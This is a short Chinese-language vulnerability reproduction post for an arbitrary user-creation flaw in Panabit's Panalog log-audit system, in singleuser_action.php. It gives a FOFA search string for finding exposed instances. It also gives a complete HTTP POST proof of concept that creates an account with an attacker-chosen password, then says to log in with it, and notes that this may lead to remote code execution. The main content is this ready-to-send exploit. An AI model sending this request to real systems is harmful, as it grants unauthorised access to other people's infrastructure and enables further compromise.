panabit日志审计singleuser_action.php任意用户添加漏洞复现

panabit日志审计singleuser_action.php任意用户添加漏洞复现

0x01 前言

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0x02 漏洞描述

panabit日志审计存在 singleuser_action.php 任意用户添加漏洞，后台若存在终端命令模块可rce。

0x03 影响版本

panabit日志审计

0x04 漏洞环境

FOFA语法：app=“Panabit-Panalog”

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC （POST）

POST /singleuser_action.php HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 576
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Dnt: 1
Upgrade-Insecure-Requests: 1

{ "syncInfo": { "user": { "userId": "119", "userName": "119", "employeeId": "119", "departmentId": "119", "departmentName": "119", "coporationId": "119", "corporationName": "119", "userSex": "1",  "userDuty": "119", "userBirthday": "119", "userPost": "119", "userPostCode": "119", "userAlias": "119", "userRank": "119", "userPhone": "119", "userHomeAddress": "119", "userMobilePhone": "119", "userMailAddress": "119", "userMSN": "119", "userNt": "119", "userCA": "119", "userPwd": "119", "userClass": "119", "parentId": "119", "bxlx": "119" },"operationType": "ADD_USER" } }

3.复现

发送数据包，若回显{“yn”:“yes”,“str”:“OK”}，即可登录
使用新建的用户名以及密码登录。